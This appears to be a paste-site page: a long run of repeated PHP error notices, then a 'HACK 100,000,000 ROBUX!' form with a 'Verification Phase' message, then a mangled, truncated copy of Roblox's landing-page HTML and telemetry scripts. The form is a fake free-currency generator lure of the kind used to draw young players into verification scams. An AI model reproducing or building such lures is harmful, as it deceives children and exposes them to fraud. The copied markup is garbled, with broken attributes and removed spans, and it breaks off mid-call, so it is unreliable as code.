Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
Severity: Notice
Message: Undefined offset: 1
Filename: geshi/geshi.php
Line Number: 3502
<center> <h2>HACK 100,000,000 ROBUX!</h2> Type How Much Robux You Want No More Than 50,000 Robux!<br> <input type="text" data-ytta-id="-" name="lastname" value=""><br><br> <a class="btn-secondary-md" id="Button">Configure</a> <h2>Verification Phase</h2> PLEASE WAIT PATIENTLY WHILE THE ROBUX LOAD IS PROCESS>[removed ALL] <!DOCTYPE html> <!--[if IE 8]><html class="ie8" ng-app="robloxApp"><![endif]--> <!--[if gt IE 8]><!--> <html> <!--<![endif]--> <head data-machine-id="CHI2-WEB38"> <!-- MachineID: CHI2-WEB38 --> <title>Roblox</title> <meta http-equiv="X-UA-Compatible" c /> <meta charset="UTF-8"> <meta name="viewport" c initial-scale=1"> <meta name="author" c Corporation" /> <meta name="description" c is a global platform that brings people together through play." /> <meta name="keywords" c games, online games, building games, virtual worlds, free mmo, gaming cloud, physics engine" /> <meta name="apple-itunes-app" c /> <meta name="google-site-verification" c /> [removed] { "@context" : "http://schema.org", "@type" : "Organization", "name" : "Roblox", "url" : "https://www.roblox.com/", "logo": "https://images.rbxcdn.com/cece570e37aa8f95a450ab0484a18d91", "sameAs" : [ "https://www.facebook.com/roblox/", "https://twitter.com/roblox", "https://www.linkedin.com/company/147977", "https://www.instagram.com/roblox/", "https://www.youtube.com/user/roblox", "https://plus.google.com/+roblox", "https://www.twitch.tv/roblox" ] } [removed] <meta property="og:site_name" c" /> <meta property="og:title" c" /> <meta property="og:type" c /> <meta property="og:url" c /> <meta property="og:description" c is ushering in the next generation of entertainment. Imagine, create, and play together with millions of people across an infinite variety of immersive, user-generated 3D worlds." /> <meta property="og:image" c /> <meta property="fb:app_id" c> <meta name="twitter:card" c> <meta name="twitter:site" c> <meta name="twitter:title" c"> <meta name="twitter:description" c is ushering in the next generation of entertainment. Imagine, create, and play together with millions of people across an infinite variety of immersive, user-generated 3D worlds."> <meta name="twitter:creator"> <meta name=twitter:image1 c /> <meta name="twitter:app:country" c> <meta name="twitter:app:name:iphone" c Mobile"> <meta name="twitter:app:id:iphone" c> <meta name="twitter:app:url:iphone"> <meta name="twitter:app:name:ipad" c Mobile"> <meta name="twitter:app:id:ipad" c> <meta name="twitter:app:url:ipad"> <meta name="twitter:app:name:googleplay" c"> <meta name="twitter:app:id:googleplay" c> <meta name="twitter:app:url:googleplay" /> <meta ng-csp="no-unsafe-eval"> <meta name="locale-data" data-language-code="en_us" data-language-name="English" /><meta name="device-meta" data-device-type="computer" data-is-in-app="false" data-is-desktop="true" data-is-ph data-is-tablet="false" data-is-c data-is-android-app="false" data-is-ios-app="false" data-is-uwp-app="false" data-is-xbox-app="false" data-is-amazon-app="false" data-is-win32-app="false" data-is-studio="false" data-is-game-client-browser="false" data-is-ios-device="false" data-is-android-device="false" data-is-universal-app="false" data-app-type="unknown" /> <meta name="environment-meta" data-is-testing-site="false" /> <meta id="roblox-display-names" data-enabled="true"></meta> > <meta name="page-meta" data-internal-page-name="Landing" /> [removed] var Roblox = Roblox <PIPE><PIPE> {}; Roblox.BundleVerifierConstants = { isMetricsApiEnabled: true, eventStreamUrl: "//ecsv2.roblox.com/pe?t=diagnostic", deviceType: "Computer", cdnLoggingEnabled: JSON.parse("true") }; [removed] [removed] var Roblox = Roblox <PIPE><PIPE> {}; Roblox.BundleDetector = (function () { var isMetricsApiEnabled = Roblox.BundleVerifierConstants && Roblox.BundleVerifierConstants.isMetricsApiEnabled; var loadStates = { loadSuccess: "loadSuccess", loadFailure: "loadFailure", executionFailure: "executionFailure" }; var bundleContentTypes = { [removed] "javascript", css: "css" }; var ephemeralCounterNames = { cdnPrefix: "CDNBundleError_", unknown: "CDNBundleError_unknown", cssError: "CssBundleError", jsError: "JavascriptBundleError", jsFileError: "JsFileExecutionError", resourceError: "ResourcePerformance_Error", resourceLoaded: "ResourcePerformance_Loaded" }; return { jsBundlesLoaded: {}, bundlesReported: {}, counterNames: ephemeralCounterNames, loadStates: loadStates, bundleContentTypes: bundleContentTypes, timing: undefined, setTiming: function (windowTiming) { this.timing = windowTiming; }, getLoadTime: function () { if (this.timing && this.timing.domComplete) { return this.getCurrentTime() - this.timing.domComplete; } }, getCurrentTime: function () { return new Date().getTime(); }, getCdnProviderName: function (bundleUrl, callBack) { if (Roblox.BundleVerifierConstants.cdnLoggingEnabled) { var xhr = new XMLHttpRequest(); xhr.open('GET', bundleUrl, true); xhr.onreadystatechange = function () { if (xhr.readyState === xhr.HEADERS_RECEIVED) { try { var headerValue = xhr.getResponseHeader("rbx-cdn-provider"); if (headerValue) { callBack(headerValue); } else { callBack(); } } catch (e) { callBack(); } } }; xhr.onerror = function () { callBack(); }; xhr.send(); } else { callBack(); } }, getCdnProviderAndReportMetrics: function (bundleUrl, bundleName, loadState, bundleContentType) { this.getCdnProviderName(bundleUrl, function (cdnProviderName) { Roblox.BundleDetector.reportMetrics(bundleUrl, bundleName, loadState, bundleContentType, cdnProviderName); }); }, reportMetrics: function (bundleUrl, bundleName, loadState, bundleContentType, cdnProviderName) { if (!isMetricsApiEnabled <PIPE><PIPE> !bundleUrl <PIPE><PIPE> !loadState <PIPE><PIPE> !loadStates.hasOwnProperty(loadState) <PIPE><PIPE> !bundleContentType <PIPE><PIPE> !bundleContentTypes.hasOwnProperty(bundleContentType)) { return; } var xhr = new XMLHttpRequest(); var metricsApiUrl = (Roblox.EnvironmentUrls && Roblox.EnvironmentUrls.metricsApi) <PIPE><PIPE> "https://metrics.roblox.com"; xhr.open("POST", metricsApiUrl + "/v1/bundle-metrics/report", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.withCredentials = true; xhr.send(JSON.stringify({ bundleUrl: bundleUrl, bundleName: bundleName <PIPE><PIPE> "", bundleContentType: bundleContentType, loadState: loadState, cdnProviderName: cdnProviderName, loadTimeInMilliseconds: this.getLoadTime() <PIPE><PIPE> 0 })); }, logToEphemeralStatistics: function (sequenceName, value) { var deviceType = Roblox.BundleVerifierConstants.deviceType; sequenceName += "_" + deviceType; var xhr = new XMLHttpRequest(); xhr.open('POST', '/game/report-stats?name=' + sequenceName + "&value;=" + value, true); xhr.withCredentials = true; xhr.send(); }, logToEphemeralCounter: function (ephemeralCounterName) { var deviceType = Roblox.BundleVerifierConstants.deviceType; ephemeralCounterName += "_" + deviceType; //log to ephemeral counters - taken from ET.js var xhr = new XMLHttpRequest(); xhr.open('POST', '/game/report-event?name=' + ephemeralCounterName, true); xhr.withCredentials = true; xhr.send(); }, logToEventStream: function (failedBundle, ctx, cdnProvider, status) { var esUrl = Roblox.BundleVerifierConstants.eventStreamUrl, currentPageUrl = encodeURIComponent([removed].href); var deviceType = Roblox.BundleVerifierConstants.deviceType; ctx += "_" + deviceType; //try and grab performance data. //Note that this is the performance of the xmlhttprequest rather than the original resource load. var duration = 0; if (window.performance) { var perfTiming = window.performance.getEntriesByName(failedBundle); if (perfTiming.length > 0) { var data = perfTiming[0]; duration = data.duration <PIPE><PIPE> 0; } } //log to event stream (diagnostic) var params = "&evt=webBundleError&url;=" + currentPageUrl + "&ctx;=" + ctx + "&fileSourceUrl;=" + encodeURIComponent(failedBundle) + "&cdnName;=" + (cdnProvider <PIPE><PIPE> "unknown") + "&statusCode;=" + (status <PIPE><PIPE> "unknown") + "&loadDuration;=" + Math.floor(duration); var img = new Image(); img.src = esUrl + params; }, getCdnInfo: function (failedBundle, ctx, fileType) { if (Roblox.BundleVerifierConstants.cdnLoggingEnabled) { var xhr = new XMLHttpRequest(); var counter = this.counterNames; xhr.open('GET', failedBundle, true); var cdnProvider; //succesful request xhr.onreadystatechange = function () { if (xhr.readyState === xhr.HEADERS_RECEIVED) { cdnProvider = xhr.getResponseHeader("rbx-cdn-provider"); if (cdnProvider && cdnProvider.length > 0) { Roblox.BundleDetector.logToEphemeralCounter(counter.cdnPrefix + cdnProvider + "_" + fileType); } else { Roblox.BundleDetector.logToEphemeralCounter(counter.unknown + "_" + fileType); } } else if (xhr.readyState === xhr.DONE) { // append status to cdn provider so we know its not related to network error. Roblox.BundleDetector.logToEventStream(failedBundle, ctx, cdnProvider, xhr.status); } }; //attach to possible things that can go wrong with the request. //additionally a network error will trigger this callback xhr.onerror = function () { Roblox.BundleDetector.logToEphemeralCounter(counter.unknown + "_" + fileType); Roblox.BundleDetector.logToEventStream(failedBundle, ctx, counter.unknown); }; xhr.send(); } else { this.logToEventStream(failedBundle, ctx); } }, reportResourceError: function (resourceName) { var ephemeralCounterName = this.counterNames.resourceError + "_" + resourceName; this.logToEphemeralCounter(ephemeralCounterName); }, reportResourceLoaded: function (resourceName) { var loadTimeInMs = this.getLoadTime(); if (loadTimeInMs) { var sequenceName = this.counterNames.resourceLoaded + "_" + resourceName; this.logToEphemeralStatistics(sequenceName, loadTimeInMs); } }, reportBundleError: function (bundleTag) { var ephemeralCounterName, failedBundle, ctx, contentType; if (bundleTag.rel && bundleTag.rel === "stylesheet") { ephemeralCounterName = this.counterNames.cssError; failedBundle = bundleTag.href; ctx = "css"; contentType = bundleContentTypes.css; } else { ephemeralCounterName = this.counterNames.jsError; failedBundle = bundleTag.src; ctx = "js"; contentType = bundleContentTypes.javascript; } //mark that we logged this bundle this.bundlesReported[failedBundle] = true; //e.g. javascriptBundleError_Computer this.logToEphemeralCounter(ephemeralCounterName); //this will also log to event stream this.getCdnInfo(failedBundle, ctx, ctx); var bundleName; if (bundleTag.dataset) { bundleName = bundleTag.dataset.bundlename; } else { bundleName = bundleTag.getAttribute('data-bundlename'); } this.getCdnProviderAndReportMetrics(failedBundle, bundleName, loadStates.loadFailure, contentType); }, bundleDetected: function (bundleName) { this.jsBundlesLoaded[bundleName] = true; }, verifyBundles: function (document) { var ephemeralCounterName = this.counterNames.jsFileError, eventContext = ephemeralCounterName; //grab all roblox script tags in the page. var scripts = (document && document.scripts) <PIPE><PIPE> window.document.scripts; var errorsList = []; var bundleName; var monitor; for (var i = 0; i < scripts.length; i++) { var item = scripts[i]; if (item.dataset) { bundleName = item.dataset.bundlename; m } else { bundleName = item.getAttribute('data-bundlename'); m } if (item.src && monitor && bundleName) { if (!Roblox.BundleDetector.jsBundlesLoaded.hasOwnProperty(bundleName)) { errorsList.push(item); } } } if (errorsList.length > 0) { for (var j = 0; j < errorsList.length; j++) { var script = errorsList[j]; if (!this.bundlesReported[script.src]) { //log the counter only if the file is actually corrupted, not just due to failure to load //e.g. JsFileExecutionError_Computer this.logToEphemeralCounter(ephemeralCounterName); this.getCdnInfo(script.src, eventContext, 'js'); if (script.dataset) { bundleName = script.dataset.bundlename; } else { bundleName = script.getAttribute('data-bundlename'); } this.getCdnProviderAndReportMetrics(script.src, bundleName, loadStates.executionFailure, bundleContentTypes.javascript); } } } } }; })(); window.addEventListener("load", function (evt) { Roblox.BundleDetector.verifyBundles(); }); Roblox.BundleDetector.setTiming(window.performance.timing); //# sourceURL=somename.js [removed] <link href="https://images.rbxcdn.com/7bba321f4d8328683d6e59487ce514eb" rel="icon" /> > > > > > > > > > > <link rel="canonical" href="https://www.roblox.com/" /> > > > > > > > > > > [removed] var Roblox = Roblox <PIPE><PIPE> {}; Roblox.EnvironmentUrls = Roblox.EnvironmentUrls <PIPE><PIPE> {}; Roblox.EnvironmentUrls = {"abtestingApiSite":"https://abtesting.roblox.com","accountInformationApi":"https://accountinformation.roblox.com","accountSettingsApi":"https://accountsettings.roblox.com","adConfigurationApi":"https://adconfiguration.roblox.com","adsApi":"https://ads.roblox.com","advertiseApi":"https://advertise.roblox.com","apiGatewayCdnUrl":"https://apis.rbxcdn.com","apiGatewayUrl":"https://apis.roblox.com","apiProxyUrl":"https://api.roblox.com","assetDeliveryApi":"https://assetdelivery.roblox.com","authApi":"https://auth.roblox.com","avatarApi":"https://avatar.roblox.com","badgesApi":"https://badges.roblox.com","billingApi":"https://billing.roblox.com","captchaApi":"https://captcha.roblox.com","catalogApi":"https://catalog.roblox.com","chatApi":"https://chat.roblox.com","chatModerationApi":"https://chatmoderation.roblox.com","contactsApi":"https://contacts.roblox.com","contactsServiceApi":"https://apis.roblox.com/contacts-api","contentStoreApi":"https://contentstore.roblox.com","developApi":"https://develop.roblox.com","domain":"roblox.com","economyApi":"https://economy.roblox.com","economycreatorstatsApi":"https://economycreatorstats.roblox.com","engagementPayoutsApi":"https://engagementpayouts.roblox.com","followingsApi":"https://followings.roblox.com","friendsApi":"https://friends.roblox.com","gameInternationalizationApi":"https://gameinternationalization.roblox.com","gamesApi":"https://games.roblox.com","gameJoinApi":"https://gamejoin.roblox.com","gameUpdateNotificationsApi":"https://apis.roblox.com/game-update-notifications","groupsApi":"https://groups.roblox.com","groupsModerationApi":"https://groupsmoderation.roblox.com","helpSite":"https://en.help.roblox.com","inventoryApi":"https://inventory.roblox.com","itemConfigurationApi":"https://itemconfiguration.roblox.com","localeApi":"https://locale.roblox.com","localizationTablesApi":"https://localizationtables.roblox.com","metricsApi":"https://metrics.roblox.com","midasApi":"https://midas.roblox.com","notificationApi":"https://notifications.roblox.com","passProductPurchasingApi":"https://apis.roblox.com/pass-product-purchasing","bundlesProductPurchasingApi":"https://apis.roblox.com/bundles-product-purchasing","premiumFeaturesApi":"https://premiumfeatures.roblox.com","presenceApi":"https://presence.roblox.com","privateMessagesApi":"https://privatemessages.roblox.com","publishApi":"https://publish.roblox.com","restrictedHoursServiceApi":"https://apis.roblox.com/restricted-hours-service","screenTimeApi":"https://apis.rcs.roblox.com/screen-time-api","shareApi":"https://share.roblox.com","shareLinksApi":"https://apis.roblox.com/sharelinks","thumbnailsApi":"https://thumbnails.roblox.com","tradesApi":"https://trades.roblox.com","translationRolesApi":"https://translationroles.roblox.com","twoStepVerificationApi":"https://twostepverification.roblox.com","universalAppConfigurationApi":"https://apis.roblox.com/universal-app-configuration","userAgreementsServiceApi":"https://apis.roblox.com/user-agreements","userModerationApi":"https://usermoderation.roblox.com","usersApi":"https://users.roblox.com","userSettingsApi":"https://apis.roblox.com/user-settings-api","voiceApi":"https://voice.roblox.com","websiteUrl":"https://www.roblox.com"}; // please keep the list in alphabetical order var additionalUrls = { amazonStoreLink: "https://www.amazon.com/Roblox-Corporation/dp/B00NUF4YOA", amazonWebStoreLink: "https://www.amazon.com/roblox?&_encoding=UTF8&tag=r05d13-20&linkCode=ur2&linkId=5562fc29c05b45562a86358c198356eb&camp=1789&creative=9325", appProtocolUrl: "robloxmobile://", appStoreLink: "https://itunes.apple.com/us/app/roblox-mobile/id431946152", googlePlayStoreLink: "https://play.google.com/store/apps/details?id=com.roblox.client&hl=en", iosAppStoreLink: "https://itunes.apple.com/us/app/roblox-mobile/id431946152", windowsStoreLink: "https://www.microsoft.com/en-us/store/games/roblox/9nblgggzm6wm", xboxStoreLink: "https://www.microsoft.com/en-us/p/roblox/bq1tn1t79v9k" } for (var urlName in additionalUrls) { Roblox.EnvironmentUrls[urlName] = additionalUrls[urlName]; } Roblox.EnvironmentUrls["websiteUrl"] = "https://www.roblox.com"; [removed] [removed] var Roblox = Roblox <PIPE><PIPE> {}; Roblox.GaEventSettings = { gaDFPPreRollEnabled: "false" === "true", gaLaunchAttemptAndLaunchSuccessEnabled: "false" === "true", gaPerformanceEventEnabled: "false" === "true" }; [removed] >[removed] >[removed] >[removed] >[removed] <meta name="sentry-meta" data-env-name="production" data-dsn="https://6750adeb1b1348e4a10b13e726d5c10b@sentry.io/1539367" data-sample-rate="0" />>[removed] <meta name="roblox-tracer-meta-data" data-access-token="" data-service-name="Web" data-tracer-enabled="false" data-api-sites-request-allow-list="friends.roblox.com,chat.roblox.com,thumbnails.roblox.com,games.roblox.com,gameinternationalization.roblox.com,localizationtables.roblox.com" data-sample-rate="0" data-is-instrument-page-performance-enabled="false"/>>[removed] <!--[if lt IE 9]> [removed][removed] [removed][removed] <![endif]--> [removed] //Set if it browser's do not track flag is enabled var Roblox = Roblox <PIPE><PIPE> {}; (function() { var dnt = navigator.doNotTrack <PIPE><PIPE> window.doNotTrack <PIPE><PIPE> navigator.msDoNotTrack; if (typeof window.external !== "undefined" && typeof window.external.msTrackingProtectionEnabled !== "undefined") { dnt = dnt <PIPE><PIPE> window.external.msTrackingProtectionEnabled(); } Roblox.browserD == "1" <PIPE><PIPE> dnt == "yes" <PIPE><PIPE> dnt === true; })(); [removed] [removed] var _gaq = _gaq <PIPE><PIPE> []; window.GoogleAnalyticsDisableRoblox2 = true; _gaq.push(['b._setAccount', 'UA-486632-1']); _gaq.push(['b._setSampleRate', '10']); _gaq.push(['b._setCampSourceKey', 'rbx_source']); _gaq.push(['b._setCampMediumKey', 'rbx_medium']); _gaq.push(['b._setCampContentKey', 'rbx_campaign']); _gaq.push(['b._setDomainName', 'roblox.com']); _gaq.push(['b._setCustomVar', 1, 'Visitor', 'Anonymous', 2]); _gaq.push(['b._setPageGroup', 1, 'Landing']); var eventsArr = ['b._setCustomVar', 2, 'FirstTimeVisitor', 'true', 3]; _gaq.push(eventsArr); $(function() { if(GoogleAnalyticsEvents) { GoogleAnalyticsEvents.Log(eventsArr); } }); _gaq.push(['b._trackPageview']); _gaq.push(['c._setAccount', 'UA-26810151-2']); _gaq.push(['c._setSampleRate', '1']); _gaq.push(['c._setDomainName', 'roblox.com']); _gaq.push(['c._setPageGroup', 1, 'Landing']); [removed] [removed][removed] [removed] var accountCode = "AW-1065449093"; var signupC var webPurchaseC window.dataLayer = window.dataLayer <PIPE><PIPE> []; function gtag() { dataLayer.push(arguments); } gtag.c signupConversionEvent: accountCode + '/' + signupConversionEventKey, webPurchaseConversionEvent: accountCode + '/' + webPurchaseConversionEventKey } gtag ('set', 'allow_ad_personalization_signals', false) ; gtag('js', new Date()); gtag('config', accountCode); [removed] [removed] if (Roblox && Roblox.EventStream) { Roblox.EventStream.Init("//ecsv2.roblox.com/www/e.png", 